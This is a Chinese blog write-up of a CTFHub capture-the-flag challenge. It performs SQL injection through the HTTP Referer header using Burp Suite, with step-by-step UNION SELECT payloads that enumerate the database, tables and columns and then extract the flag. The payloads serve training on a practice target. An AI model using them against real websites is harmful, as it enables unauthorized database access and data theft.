• CTFHub | Refer注入


     0x00 前言

            CTFHub 专注网络安全、信息安全、白帽子技术的在线学习,实训平台。提供优质的赛事及学习服务,拥有完善的题目环境及配套 writeup ,降低 CTF 学习入门门槛,快速帮助选手成长,跟随主流比赛潮流。

            

            

    0x01 题目描述

    Refer注入:

            (无)

    网页显示内容

            
           

    0x02 解题过程

            根据题目显示内容,此题和上一题一致,需要在 Refer 请求头中进行 SQL 注入。那么直接使用 burp suite 抓包工具抓取题目网站的信息,并将抓取到的数据发送给重放器。在 Refer 请求中使用 payload 进行测试,发现此题存在 Refer 注入。那么直接根据注入流程进行注入,最后发现此题 flag 存在于 ncdiyxjtck 数据中。
            

    老规矩,直接使用burp suite抓包工具抓取题目网站的信息

            

    这次为了方便查看,将抓取到的数据发送给重放器

            

    发现抓到的信息中没有Refer请求,那么可以直接写入Refer请求进行测试

    Referer: 1 and 1 = 1    #注意Refer请求写入信息名称为Referer

            

    继续写入Referer请求中使用进行测试,发现此题存在Refer注入

    Referer: 1 and 1 = 2

            

    使用order by 判断字段数量,从order by 1开始

    Referer: 1 order by 1

    判断字段2,使用order by 2

    Referer: 1 order by 2

    判断字段3,使用order by 3,这里无回显,那么字段数量为2列

    Referer: 1 order by 3

    知道字段数量为2后,可以查看数据库位置,使用union select 1,2查看未发现数据

    Referer: 1 union select 1,2

            

    判断数据可能不存在数据库中,将1改为0查看数据,其他符号也可以

    Referer: 0 union select 1,2

            

    修改2为version(),查看数据库版本,发现数据库版本为MariaDB 10.3.22

    Referer: 0 union select 1,version()

            

    ⅩⅠ修改2为database(),查看数据库名,发现数据库版本为sqli

    Referer: 0 union select 1,database()

            

    ⅩⅡ查看全部数据库名

    Referer: 0 union select 1,group_concat(schema_name)from information_schema.schemata

            

    ⅩⅢ在全部数据库名中发现sqli,最后在sqli数据库中发现cirdpxhnev和news两个表名

    Referer: 0 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'

            

    ⅩⅣ先查看cirdpxhnev表中的全部字段名,发现一个数据名为ncdiyxjtck

    Referer: 0 union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='cirdpxhnev'

            

    ⅩⅤ查看数据ncdiyxjtck中的内容,发现此题flag

    Referer: 0 union select 1,group_concat(ncdiyxjtck) from sqli.cirdpxhnev

            

            

    0x03 Refer 注入常见的问题

    1.Refer 和 Referer

            需要注意的是,Refer 只是注入名称,而 Referer header 的一部分,当浏览器向 web 服务器发送请求的时候,一般会带上 Referer ,告诉服务器该网页是从哪个页面链接过来的,服务器因此可以获得一些信息用于处理。

    2.重放 Referer 注入无回显

            有小伙伴私信我,为什么我使用 burp suite 工具进行重放的时候,页面没有正常回显。我第一次使用 burp suite 工具的重放器也犯过此类错误,就是写入一个请求时在其数据的空白行中写入数据。需要注意的是,这个空白行也算抓取到的数据。

    例如,重放一个演示请求,数据为 error ,写入位置为抓取到的数据空白行中。重放发现页面没有正常回显。

     

    那么在写入的数据后面加入一行空白行,重新执行重放,此时的页面可以正常回显。

             

            

    0x04 参考文献

    [1].mdn web docs. Referer[EB/OL]. [2022-11-26]. https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Headers/Referer.

    [2].百度百科. HTTP_REFERER[EB/OL]. [2022-11-26]. https://baike.baidu.com/item/HTTP_REFERER/5358396.

    [3].老司机开代码. Less19 (referer注入)[EB/OL]. [2022-11-26]. https://blog.csdn.net/weixin_43901998/article/details/107021685.

            

            

    0x05 总结

    文章内容为学习记录的笔记,由于作者水平有限,文中若有错误与不足欢迎留言,便于及时更正。

  • 相关阅读:
    概率论的学习和整理--番外10:两女孩问题,3种题目文本和对应解答
    计算机网络
    禁止EditView自动弹出系统软键盘_Android基础篇(Java)
    已解决selenium.common.exceptions.TimeoutException: Message: script timeout
    binutils 2.40 Linker (ld) 官方文档下载
    学习C语言 8.10 枚举、位运算、指针函数
    vue混入mixin
    vue2常见面试题
    Linux高性能服务器编程 学习笔记 第二章 IP协议详解
    el表单的简单查询方法
  • 原文地址:https://blog.csdn.net/m0_51191308/article/details/128035082